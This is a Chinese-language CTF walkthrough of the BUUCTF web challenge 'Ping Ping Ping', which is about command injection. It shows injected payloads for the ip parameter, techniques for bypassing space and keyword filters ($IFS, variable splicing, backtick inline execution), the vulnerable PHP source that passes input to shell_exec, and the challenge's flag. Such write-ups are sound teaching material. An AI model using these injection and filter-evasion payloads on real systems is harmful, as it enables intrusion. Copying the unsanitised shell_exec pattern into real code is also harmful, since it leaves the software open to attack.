[GXYCTF2019]Ping Ping Ping
题目来源：buuctf
题目类型：web
涉及考点：命令执行
1. 题目页面如下：
我们将其作为参数传入，/?ip=127.0.0.1，回显如下：
接下来通过命令行查看目录：/?ip=127.0.0.1;ls
2. 发现了flag.php，直接查看
/?ip=127.0.0.1;cat flag.php
发现空格被过滤了，我们采取以下几种常见的绕过方法：
$IFS
${IFS}
$IFS$1 //1可以换成任意数字
<
<>
绕过空格之后发现flag也被过滤了：
还是查看一下index.php，看看有什么线索：
/?ip=127.0.0.1;cat$IFS$1index.php
可以看到一连串的过滤规则
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
//过滤 & / ? * < x{00}到x{20} > ' " \ ( ) [ ] { }
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
//过滤 空格
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
//过滤 bash
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
//过滤 flag（严格来说，是字符串中，flag依序出现的都被过滤）
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
?>
3. 接下来尝试绕过
法一：
思路是通过变量覆盖来实现，具体做法：
将 flag 中的 g 赋值给变量 a，在命令行中用 fla$a 来表示 flag，构造的payload如下：
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
F12检查发现了flag：
法二：
通过内联执行，让 ls 作为cat的参数传入，即可绕过flag：
/?ip=127.0.0.1;cat$IFS$1`ls`
同样在源码中看到flag：
内联执行：即一个命令的结果作为另一个命令的参数使用
flag{0e459f07-aff4-4d6a-bea9-115e1309b55e}
日期：2023.7.18
作者：y0Zero